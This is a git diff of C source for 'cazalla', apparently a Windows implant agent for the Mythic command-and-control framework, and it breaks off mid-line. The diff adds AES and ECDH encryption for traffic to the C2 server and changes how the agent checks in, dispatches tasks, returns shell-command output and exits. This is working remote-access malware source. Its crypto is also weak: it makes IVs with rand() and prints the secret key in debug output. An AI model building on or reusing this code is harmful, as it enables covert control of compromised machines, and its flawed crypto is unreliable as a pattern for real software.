defined(CBC) && (CBC == 1) + + + +#if defined(CTR) && (CTR == 1) + +/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */ +void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length) +{ + uint8_t buffer[AES_BLOCKLEN]; + + size_t i; + int bi; + for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) + { + if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */ + { + + memcpy(buffer, ctx->Iv, AES_BLOCKLEN); + Cipher((state_t*)buffer,ctx->RoundKey); + + /* Increment Iv and handle overflow */ + for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) + { + /* inc will overflow */ + if (ctx->Iv[bi] == 255) + { + ctx->Iv[bi] = 0; + continue; + } + ctx->Iv[bi] += 1; + break; + } + bi = 0; + } + + buf[i] = (buf[i] ^ buffer[bi]); + } +} + +#endif // #if defined(CTR) && (CTR == 1) + diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Aes.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Aes.h new file mode 100644 index 0000000..702858a --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Aes.h @@ -0,0 +1,91 @@ +#ifndef _AES_H_ +#define _AES_H_ + +#include +#include + +// #define the macros below to 1/0 to enable/disable the mode of operation. +// +// CBC enables AES encryption in CBC-mode of operation. +// CTR enables encryption in counter-mode. +// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously. + +// The #ifndef-guard allows it to be configured before #include'ing or at compile time. +#ifndef CBC + #define CBC 1 +#endif + +#ifndef ECB + #define ECB 1 +#endif + +#ifndef CTR + #define CTR 1 +#endif + + +//#define AES128 1 +//#define AES192 1 +#define AES256 1 + +#define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only + +#if defined(AES256) && (AES256 == 1) + #define AES_KEYLEN 32 + #define AES_keyExpSize 240 +#elif defined(AES192) && (AES192 == 1) + #define AES_KEYLEN 24 + #define AES_keyExpSize 208 +#else + #define AES_KEYLEN 16 // Key length in bytes + #define AES_keyExpSize 176 +#endif + +struct AES_ctx +{ + uint8_t RoundKey[AES_keyExpSize]; +#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) + uint8_t Iv[AES_BLOCKLEN]; +#endif +}; + +void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key); +#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) +void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv); +void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv); +#endif + +#if defined(ECB) && (ECB == 1) +// buffer size is exactly AES_BLOCKLEN bytes; +// you need only AES_init_ctx as IV is not used in ECB +// NB: ECB is considered insecure for most uses +void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf); +void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf); + +#endif // #if defined(ECB) && (ECB == !) + + +#if defined(CBC) && (CBC == 1) +// buffer size MUST be mutile of AES_BLOCKLEN; +// Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme +// NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv() +// no IV should ever be reused with the same key +void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); +void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); + +#endif // #if defined(CBC) && (CBC == 1) + + +#if defined(CTR) && (CTR == 1) + +// Same function for encrypting as for decrypting. +// IV is incremented for every block, and used after encryption as XOR-compliment for output +// Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme +// NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv() +// no IV should ever be reused with the same key +void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); + +#endif // #if defined(CTR) && (CTR == 1) + + +#endif // _AES_H_ diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h index c47724d..9b7adfc 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h @@ -1,4 +1,6 @@ #pragma once +#define ENCRYPTION_ENABLED %ENCRYPTION_ENABLED% +#define AESPSK_KEY "%AESPSK_KEY%" #define initUUID "%UUID%" #define hostname L"%HOSTNAME%" #define endpoint L"%ENDPOINT%" diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile index a766d91..81f3547 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile @@ -3,9 +3,8 @@ CC = x86_64-w64-mingw32-gcc # Base flags CFLAGS = -Wall -w -IInclude -LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows -# Console flags (no -mwindows) for debug console output -LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp +LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -mwindows +LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt DFLAGS = -D_DEBUG -DDEBUG_SOCKS -g # Directories diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c index d1f9702..7a18ab4 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c @@ -1,3 +1,4 @@ +#include "crypto.h" // Include crypto.h BEFORE cazalla.h to avoid redeclaration #include "cazalla.h" #include "Config.h" #include "socks_manager.h" @@ -31,7 +32,28 @@ VOID cazallaMain() { cazallaConfig->proxyHabilitado= proxyenabled; cazallaConfig->urlProxy = (PWCHAR)proxyurl; cazallaConfig->tiempoSleep = (UINT32)(sleep_time) * 1000; + cazallaConfig->encryptionEnabled = ENCRYPTION_ENABLED; + // Debug: print the raw values + printf("[CAZALLA] DEBUG: ENCRYPTION_ENABLED = %d\n", ENCRYPTION_ENABLED); + printf("[CAZALLA] DEBUG: AESPSK_KEY = %s\n", AESPSK_KEY); + printf("[CAZALLA] DEBUG: AESPSK_KEY length = %zu\n", strlen(AESPSK_KEY)); + fflush(stdout); + + // Initialize AESPSK encryption if enabled + if (cazallaConfig->encryptionEnabled) { + printf("[CAZALLA] Inicializando cifrado AES256-HMAC...\n"); + fflush(stdout); + if (crypto_init_aespsk(AESPSK_KEY)) { + printf("[CAZALLA] Cifrado habilitado\n"); + } else { + printf("[CAZALLA] ERROR: Falló la inicialización del cifrado\n"); + cazallaConfig->encryptionEnabled = FALSE; + } + } else { + printf("[CAZALLA] Cifrado deshabilitado\n"); + } + fflush(stdout); printf("[CAZALLA] Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u\n", cazallaConfig->idAgente, cazallaConfig->hostName, diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h index 104a567..f5c5263 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h @@ -24,6 +24,7 @@ typedef struct { PWCHAR urlProxy; UINT32 tiempoSleep; + BOOL encryptionEnabled; } CONFIG_CAZALLA, *PCONFIG_CAZALLA; extern PCONFIG_CAZALLA cazallaConfig; diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c index b257249..09a908c 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c @@ -8,47 +8,26 @@ BOOL cerrarCallback(PAnalizador argumentos){ SIZE_T tamanoUuid = 36; PCHAR tareaUuid = getString(argumentos, &tamanoUuid); - // Crear paquete de respuesta siguiendo el mismo patrón que otros comandos - PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); + // Liberar el analizador antes de salir + if (argumentos) liberarAnalizador(argumentos); - // Si falla la creación del paquete, cerramos con error - if (!respuesta) { - ExitProcess(1); - return FALSE; + // Optionally send a message (can be NULL for no message like Xenon) + PPaquete salida = nuevoPaquete(0, FALSE); + if (salida) { + addString(salida, "Exiting...", FALSE); } - // Agregar el UUID de la tarea - addString(respuesta, tareaUuid, FALSE); + // Send task complete response (similar to Xenon's implementation) + paqueteCompletado(tareaUuid, salida); - // Crear paquete temporal para el mensaje de salida - PPaquete salida = nuevoPaquete(0, FALSE); - addString(salida, "Agent exiting...\n", FALSE); - - // Agregar el mensaje al paquete de respuesta - addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + // Cleanup + if (salida) liberarPaquete(salida); - // Enviar el paquete - Analizador* respuestaAnalizador = mandarPaquete(respuesta); + // Give a brief moment for the response to be sent before process termination + // This is important to ensure the response reaches Mythic + Sleep(250); - // Liberar memoria - liberarPaquete(salida); - liberarPaquete(respuesta); - if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador); - - // Dar tiempo suficiente para que Mythic procese la respuesta - // Hacemos un pequeño delay y luego forzamos un flush final - Sleep(1000); - - // Enviar un GET_TASKING vacío para forzar que Mythic procese todo - PPaquete flushPkt = nuevoPaquete(GET_TASKING, TRUE); - Analizador* flushResp = mandarPaquete(flushPkt); - liberarPaquete(flushPkt); - if (flushResp) liberarAnalizador(flushResp); - - // Esperar un poco más antes de cerrar definitivamente - Sleep(1000); - - // Terminar el proceso + // Exit the process ExitProcess(0); return TRUE; } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c index dda83ab..48cbba0 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c @@ -152,7 +152,10 @@ PAnalizador checkin() { addString(checkin, obtenerNombreProceso(), TRUE); addString(checkin, (PCHAR)"1.1.1.1", TRUE); - printf("[CHECKIN] Enviando paquete inicial\n"); + // === When mythic_encrypts=True, agent sends plaintext === + // The C2 profile (HTTP) handles encryption at HTTP layer + // No need for ECC key exchange in checkin + printf("[CHECKIN] Enviando paquete inicial (plaintext, C2 profile handles encryption)\n"); fflush(stdout); PAnalizador respuestaAnalizador = mandarPaquete(checkin); liberarPaquete(checkin); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index 2e89f8f..907de61 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -15,15 +15,27 @@ static void stopSocksHandler(PAnalizador analizadorTarea); BOOL handleGetTasking(PAnalizador obtenerTarea) { + printf("[HANDLER] handleGetTasking() llamado\n"); + fflush(stdout); + UINT32 numeroTareas = getInt32(obtenerTarea); + printf("[HANDLER] Número de tareas: %u\n", numeroTareas); + fflush(stdout); + if (numeroTareas) { - _dbg("[Tareas] hay %d tareas !\n", numeroTareas); + DBG_PRINTF("[Tareas] hay %d tareas !\n", numeroTareas); } for (UINT32 i = 0; i < numeroTareas; i++) { SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID + printf("[HANDLER] Procesando tarea %u/%u, tamaño: %zu\n", i+1, numeroTareas, tamanoTarea); + fflush(stdout); + BYTE tarea = getByte(obtenerTarea); - _dbg("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea); + printf("[HANDLER] Comando recibido: 0x%02X (%d)\n", tarea, tarea); + fflush(stdout); + + DBG_PRINTF("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea); PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea); PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea); @@ -55,7 +67,7 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { DBG_PRINTF("Received STOP_SOCKS_CMD"); stopSocksHandler(analizadorTarea); } else { - _dbg("[Tarea] Tarea desconocida: 0x%02x\n", tarea); + DBG_PRINTF("[Tarea] Tarea desconocida: 0x%02x\n", tarea); // liberar analizador si no será usado por otro handler if (analizadorTarea) liberarAnalizador(analizadorTarea); } @@ -66,29 +78,111 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { BOOL commandDispatch(PAnalizador respuesta) { + printf("[DISPATCH] Respuesta tiene %zu bytes\n", respuesta->tamano); + fflush(stdout); + + // Debug: imprimir primeros bytes + if (respuesta->tamano > 0) { + printf("[DISPATCH] Primeros 8 bytes: "); + fflush(stdout); + for (SIZE_T i = 0; i < (respuesta->tamano > 8 ? 8 : respuesta->tamano); i++) { + printf("0x%02X ", respuesta->original[i]); + fflush(stdout); + } + printf("\n"); + fflush(stdout); + } + + // === IMPORTANTE: Cuando mythic_encrypts=True, Mythic agrega el UUID del callback al inicio === + // Formato: [UUID (36 bytes)][Tipo de mensaje][Datos...] + // Necesitamos leer y verificar el UUID primero + SIZE_T uuidLen = 36; + PCHAR callback_uuid = getString(respuesta, &uuidLen); + printf("[DISPATCH] UUID del callback: %.*s\n", (int)uuidLen, callback_uuid); + fflush(stdout); + + // Verificar que el UUID sea correcto (opcional, para debug) + if (uuidLen != 36) { + printf("[DISPATCH] WARNING: UUID length is not 36 bytes (%zu)\n", uuidLen); + fflush(stdout); + } + BYTE tipoRespuesta = getByte(respuesta); + printf("[DISPATCH] Tipo de respuesta: 0x%02X\n", tipoRespuesta); + fflush(stdout); + if (tipoRespuesta == GET_TASKING) { + printf("[DISPATCH] Llamando handleGetTasking()\n"); + fflush(stdout); return handleGetTasking(respuesta); } else if (tipoRespuesta == POST_RESPONSE) { + printf("[DISPATCH] Respuesta POST_RESPONSE\n"); + fflush(stdout); return TRUE; } + + printf("[DISPATCH] Tipo desconocido\n"); + fflush(stdout); return TRUE; } BOOL parseChecking(PAnalizador respuestaAnalizador) { - if (getByte(respuestaAnalizador) != CHECKIN) { - + // === IMPORTANTE: Cuando mythic_encrypts=True, Mythic agrega el UUID del callback al inicio === + // Formato: [UUID (36 bytes)][Tipo de mensaje][Datos...] + // Primero leemos el UUID que Mythic agrega + SIZE_T tamanoUuid = 36; + PCHAR callback_uuid = getString(respuestaAnalizador, &tamanoUuid); + printf("[CHECKIN] UUID del callback recibido: %.*s\n", (int)tamanoUuid, callback_uuid); + fflush(stdout); + + // Luego leemos el tipo de mensaje + BYTE tipoMensaje = getByte(respuestaAnalizador); + if (tipoMensaje != CHECKIN) { + printf("[CHECKIN] ERROR: Expected CHECKIN (0x%02X) but got 0x%02X\n", CHECKIN, tipoMensaje); + fflush(stdout); liberarAnalizador(respuestaAnalizador); return FALSE; } - SIZE_T tamanoUuid = 36; + // Leer el nuevo UUID del agente + tamanoUuid = 36; PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid); setUUID(nuevoUuid); - _dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid); + DBG_PRINTF("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid); + + // === Leer clave pública del servidor y derivar AES si cifrado está habilitado === + if (cazallaConfig->encryptionEnabled) { + SIZE_T tamanoClave = 0; + PCHAR pub_server = getString(respuestaAnalizador, &tamanoClave); + + if (pub_server && tamanoClave > 0) { + printf("[CHECKIN] Recibida clave pública del servidor (%zu bytes)...\n", tamanoClave); + fflush(stdout); + + if (!crypto_import_peer_pub_b64_and_derive_aes(pub_server)) { + printf("[CHECKIN] ERROR: fallo al derivar AES desde clave pública del servidor\n"); + fflush(stdout); + liberarAnalizador(respuestaAnalizador); + return FALSE; + } + + printf("[CHECKIN] AES derivada correctamente\n"); + fflush(stdout); + + } else { + printf("[CHECKIN] ERROR: no se recibió clave pública del servidor (tam=%zu)\n", tamanoClave); + fflush(stdout); + liberarAnalizador(respuestaAnalizador); + return FALSE; + } + } else { + printf("[CHECKIN] Cifrado deshabilitado: no se procesa clave pública\n"); + fflush(stdout); + } + liberarAnalizador(respuestaAnalizador); @@ -97,20 +191,29 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) { BOOL rutina() { + printf("[RUTINA] Enviando GET_TASKING...\n"); + fflush(stdout); + PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE); addInt32(obtenerTarea, NUMBER_OF_TASKS); Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea); // sin respuesta if (!respuestaAnalizador) { - + printf("[RUTINA] ERROR: No se recibió respuesta\n"); + fflush(stdout); return FALSE; } + + printf("[RUTINA] Respuesta recibida, dispatch...\n"); + fflush(stdout); + commandDispatch(respuestaAnalizador); + + liberarPaquete(obtenerTarea); + liberarAnalizador(respuestaAnalizador); - // Sleep - Sleep(cazallaConfig->tiempoSleep); - + // Sleep - YA NO se duerme aquí, se duerme en el bucle principal return TRUE; } diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c index 31c4ac7..b48c8d4 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c @@ -34,5 +34,9 @@ BOOL ejecutarConsola(PAnalizador argumentos) { _pclose(fp); Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea); + liberarPaquete(salida); + liberarPaquete(respuestaTarea); + if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador); + return TRUE; } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c new file mode 100644 index 0000000..b0775a6 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c @@ -0,0 +1,558 @@ +#define _CRT_SECURE_NO_WARNINGS + +// ======================================================= +// COMPAT FIX for MinGW: ensure bcrypt + NTSTATUS constants +// ======================================================= +#ifndef NTDDI_VERSION +#define NTDDI_VERSION NTDDI_WIN10 +#endif + +#ifndef _WIN32_WINNT +#define _WIN32_WINNT 0x0A00 // Windows 10 +#endif + +#include +#define WIN32_NO_STATUS +#include +#undef WIN32_NO_STATUS + +#include "crypto.h" +#include "utils.h" +#include "hmac_sha256.h" +#include "Aes.h" +#include +#include +#pragma comment(lib, "bcrypt.lib") + +// Include struct definitions AFTER crypto.h to avoid circular dependency +// crypto.h has forward declarations, but crypto.c needs the actual structures +#include "paquete.h" +#include "analizador.h" + +// ======================================================= +// Define missing bcrypt constants if MinGW headers lack them +// ======================================================= +#ifndef BCRYPT_ECDH_ALGORITHM +#define BCRYPT_ECDH_ALGORITHM L"ECDH" +#endif + +#ifndef BCRYPT_ECDH_P256_ALGORITHM +#define BCRYPT_ECDH_P256_ALGORITHM L"ECDH_P256" +#endif + +#ifndef BCRYPT_ECDH_P384_ALGORITHM +#define BCRYPT_ECDH_P384_ALGORITHM L"ECDH_P384" +#endif + +#ifndef BCRYPT_ECDH_P521_ALGORITHM +#define BCRYPT_ECDH_P521_ALGORITHM L"ECDH_P521" +#endif + +#ifndef MS_PRIMITIVE_PROVIDER +#define MS_PRIMITIVE_PROVIDER L"Microsoft Primitive Provider" +#endif + +// Constants +#define IVSIZE 16 +#define SHA256_HASH_SIZE 32 + +// Globals (simple single-agent context) +static BCRYPT_KEY_HANDLE g_currentKey = NULL; +static BCRYPT_ALG_HANDLE g_algECDH = NULL; +static unsigned char g_aesKey[AES_KEY_SIZE]; +static int g_aesKeySet = 0; +static int g_encryptionEnabled = 0; // Track if encryption is enabled +static unsigned char g_pubRaw[512]; +static DWORD g_pubRawLen = 0; + +// Helpers +static void secure_zero(void *p, SIZE_T n) { + if (p && n) { SecureZeroMemory(p, n); } +} + +void crypto_cleanup(void) { + secure_zero(g_aesKey, sizeof(g_aesKey)); + g_aesKeySet = 0; + if (g_currentKey) { + BCryptDestroyKey(g_currentKey); + g_currentKey = NULL; + } + if (g_algECDH) { + BCryptCloseAlgorithmProvider(g_algECDH, 0); + g_algECDH = NULL; + } + secure_zero(g_pubRaw, sizeof(g_pubRaw)); + g_pubRawLen = 0; +} + +// Generate ECDH P-256 key pair and export public raw (X||Y in ANSI X9.62 uncompressed form). +BOOL crypto_init_generate_pub_b64(char **pub_b64_out) { + NTSTATUS status; + DWORD keySize = 0; + DWORD resultLen = 0; + + crypto_cleanup(); + + // Open ECDH algorithm provider (nistP256) + status = BCryptOpenAlgorithmProvider(&g_algECDH, BCRYPT_ECDH_P256_ALGORITHM, MS_PRIMITIVE_PROVIDER, 0); + if (!BCRYPT_SUCCESS(status)) return FALSE; + + // Generate ephemeral key pair + status = BCryptGenerateKeyPair(g_algECDH, &g_currentKey, 256, 0); + if (!BCRYPT_SUCCESS(status)) { crypto_cleanup(); return FALSE; } + + status = BCryptFinalizeKeyPair(g_currentKey, 0); + if (!BCRYPT_SUCCESS(status)) { crypto_cleanup(); return FALSE; } + + // Export public key in BCRYPT_ECCPUBLIC_BLOB format to know size + status = BCryptExportKey(g_currentKey, NULL, BCRYPT_ECCPUBLIC_BLOB, NULL, 0, &resultLen, 0); + if (!BCRYPT_SUCCESS(status) && status != STATUS_BUFFER_TOO_SMALL) { crypto_cleanup(); return FALSE; } + + PBYTE pubBlob = (PBYTE)LocalAlloc(LPTR, resultLen); + if (!pubBlob) { crypto_cleanup(); return FALSE; } + + status = BCryptExportKey(g_currentKey, NULL, BCRYPT_ECCPUBLIC_BLOB, pubBlob, resultLen, &resultLen, 0); + if (!BCRYPT_SUCCESS(status)) { LocalFree(pubBlob); crypto_cleanup(); return FALSE; } + + // BCRYPT_ECCPUBLIC_BLOB layout: ULONG dwMagic; ULONG cbKey; then X then Y + // For P-256, cbKey == 32 + DWORD *magic = (DWORD*)pubBlob; + DWORD *cbKey = (DWORD*)(pubBlob + sizeof(DWORD)); + PBYTE x = pubBlob + sizeof(DWORD)*2; + PBYTE y = x + (*cbKey); + + // Produce uncompressed raw public point = 0x04 || X || Y + g_pubRawLen = 1 + (*cbKey) * 2; + g_pubRaw[0] = 0x04; + memcpy(g_pubRaw + 1, x, *cbKey); + memcpy(g_pubRaw + 1 + (*cbKey), y, *cbKey); + + // Base64 encode + char *b64 = NULL; + if (!base64_encode(g_pubRaw, g_pubRawLen, &b64)) { + LocalFree(pubBlob); + crypto_cleanup(); + return FALSE; + } + + *pub_b64_out = b64; // caller must LocalFree when done + + LocalFree(pubBlob); + return TRUE; +} + +// Return public raw (LocalAlloc copy) +unsigned char *crypto_get_public_raw(DWORD *out_len) { + if (!g_pubRawLen) { *out_len = 0; return NULL; } + unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, g_pubRawLen); + if (!buf) { *out_len = 0; return NULL; } + memcpy(buf, g_pubRaw, g_pubRawLen); + *out_len = g_pubRawLen; + return buf; +} + +// Import peer public key (base64 of uncompressed point 0x04||X||Y), derive shared secret and set AES key = SHA256(shared) +BOOL crypto_import_peer_pub_b64_and_derive_aes(const char *peer_pub_b64) { + if (!peer_pub_b64) return FALSE; + unsigned char *raw = NULL; + size_t rawlen = 0; + if (!base64_decode(peer_pub_b64, &raw, &rawlen)) return FALSE; + if (!raw || rawlen < 1) { if (raw) LocalFree(raw); return FALSE; } + if (raw[0] != 0x04) { LocalFree(raw); return FALSE; } // expect uncompressed point + + // Convert raw to BCRYPT_ECCPUBLIC_BLOB layout for import: dwMagic, cbKey, X, Y + DWORD cbKey = (DWORD)((rawlen - 1) / 2); + DWORD blobLen = sizeof(DWORD)*2 + cbKey*2; + PBYTE blob = (PBYTE)LocalAlloc(LPTR, blobLen); + if (!blob) { LocalFree(raw); return FALSE; } + + // dwMagic: use BCRYPT_ECDH_PUBLIC_P256_MAGIC + DWORD *pmagic = (DWORD*)blob; + *pmagic = BCRYPT_ECDH_PUBLIC_P256_MAGIC; + DWORD *pcb = (DWORD*)(blob + sizeof(DWORD)); + *pcb = cbKey; + memcpy(blob + sizeof(DWORD)*2, raw + 1, cbKey); // X + memcpy(blob + sizeof(DWORD)*2 + cbKey, raw + 1 + cbKey, cbKey); // Y + + // Import as a public key + BCRYPT_KEY_HANDLE pubKey = NULL; + NTSTATUS status = BCryptImportKeyPair(g_algECDH, NULL, BCRYPT_ECCPUBLIC_BLOB, &pubKey, blob, blobLen, 0); + if (!BCRYPT_SUCCESS(status)) { + LocalFree(blob); LocalFree(raw); + return FALSE; + } + + // Derive secret via BCryptSecretAgreement + BCryptDeriveKey + BCRYPT_SECRET_HANDLE secret = NULL; + status = BCryptSecretAgreement(g_currentKey, pubKey, &secret, 0); + if (!BCRYPT_SUCCESS(status)) { + BCryptDestroyKey(pubKey); + LocalFree(blob); LocalFree(raw); + return FALSE; + } + + // Derive raw secret bytes using KDF: use BCryptDeriveKey with NULL mapping to get raw secret? + // Simpler: use BCryptDeriveKey with algorithm AES and use derived key bytes via KDF_SP800_56a_Counter (Windows default) + // We'll use BCryptDeriveKey with AES to obtain a 256-bit key directly into our g_aesKey. + BCRYPT_ALG_HANDLE aesAlg = NULL; + status = BCryptOpenAlgorithmProvider(&aesAlg, BCRYPT_AES_ALGORITHM, MS_PRIMITIVE_PROVIDER, 0); + if (!BCRYPT_SUCCESS(status)) { + BCryptDestroySecret(secret); + BCryptDestroyKey(pubKey); + LocalFree(blob); LocalFree(raw); + return FALSE; + } + + // Prepare KDF parameters: we'll request raw key material of length AES_KEY_SIZE + DWORD derivedKeyLen = AES_KEY_SIZE; + PBYTE derivedKey = (PBYTE)LocalAlloc(LPTR, derivedKeyLen); + if (!derivedKey) { + BCryptCloseAlgorithmProvider(aesAlg,0); + BCryptDestroySecret(secret); + BCryptDestroyKey(pubKey); + LocalFree(blob); LocalFree(raw); + return FALSE; + } + + status = BCryptDeriveKey(secret, NULL, NULL, derivedKey, derivedKeyLen, &derivedKeyLen, 0); + if (!BCRYPT_SUCCESS(status)) { + LocalFree(derivedKey); + BCryptCloseAlgorithmProvider(aesAlg,0); + BCryptDestroySecret(secret); + BCryptDestroyKey(pubKey); + LocalFree(blob); LocalFree(raw); + return FALSE; + } + + // Set g_aesKey to derivedKey + memcpy(g_aesKey, derivedKey, AES_KEY_SIZE); + g_aesKeySet = 1; + + // cleanup + secure_zero(derivedKey, derivedKeyLen); + LocalFree(derivedKey); + BCryptCloseAlgorithmProvider(aesAlg,0); + BCryptDestroySecret(secret); + BCryptDestroyKey(pubKey); + LocalFree(blob); + LocalFree(raw); + return TRUE; +} + +// Initialize AESPSK key from base64 string (Mythic format) +BOOL crypto_init_aespsk(const char *aespsk_key_b64) { + if (!aespsk_key_b64 || strlen(aespsk_key_b64) == 0) { + printf("[CRYPTO] No AESPSK key provided\n"); + g_encryptionEnabled = 0; + return FALSE; + } + + // Base64 decode the key + PBYTE decoded = NULL; + SIZE_T decoded_len = 0; + + if (!base64_decode(aespsk_key_b64, &decoded, &decoded_len)) { + printf("[CRYPTO] Failed to decode AESPSK key\n"); + return FALSE; + } + + if (decoded_len != AES_KEY_SIZE) { + printf("[CRYPTO] AESPSK key length is %zu, expected %d\n", decoded_len, AES_KEY_SIZE); + if (decoded) LocalFree(decoded); + return FALSE; + } + + memcpy(g_aesKey, decoded, AES_KEY_SIZE); + g_aesKeySet = 1; + g_encryptionEnabled = 1; + + if (decoded) LocalFree(decoded); + + printf("[CRYPTO] AESPSK key initialized successfully (encryption enabled)\n"); + return TRUE; +} + +// Check if encryption is enabled +BOOL crypto_is_encryption_enabled(void) { + return g_encryptionEnabled && g_aesKeySet; +} + +// AES encrypt package for Mythic (based on Xenon implementation) +// Format: [IV(16)][Ciphertext with PKCS7][HMAC(32)] +BOOL CryptoMythicEncryptPackage(void* package) { + PPaquete pkg = (PPaquete)package; + printf("[CRYPTO] === CryptoMythicEncryptPackage START ===\n"); + + if (!pkg || !pkg->buffer || pkg->length == 0) { + printf("[CRYPTO] ERROR: Invalid package (pkg=%p, buffer=%p, length=%zu)\n", + pkg, pkg ? pkg->buffer : NULL, pkg ? pkg->length : 0); + return FALSE; + } + + printf("[CRYPTO] Input package: length=%zu bytes\n", pkg->length); + + if (!g_aesKeySet) { + printf("[CRYPTO] ERROR: AES key not set\n"); + return FALSE; + } + printf("[CRYPTO] AES key is set (key length: %d bytes)\n", AES_KEY_SIZE); + + // Generate random IV + BYTE iv[IVSIZE]; + printf("[CRYPTO] Generating random IV (%d bytes)...\n", IVSIZE); + for (int i = 0; i < IVSIZE; i++) { + iv[i] = (BYTE)(rand() % 0xFF); + } + printf("[CRYPTO] IV generated (hex): "); + for (int i = 0; i < IVSIZE; i++) { + printf("%02x ", iv[i]); + } + printf("\n"); + + // Calculate padding needed + SIZE_T datalen = pkg->length; + SIZE_T padding_needed = (AES_BLOCKLEN - (datalen % AES_BLOCKLEN)) % AES_BLOCKLEN; + if (padding_needed == 0) { + padding_needed = AES_BLOCKLEN; + } + printf("[CRYPTO] Data length: %zu bytes\n", datalen); + printf("[CRYPTO] Padding needed: %zu bytes (block size: %d)\n", padding_needed, AES_BLOCKLEN); + + // Add padding + printf("[CRYPTO] Adding PKCS7 padding...\n"); + pkg->buffer = 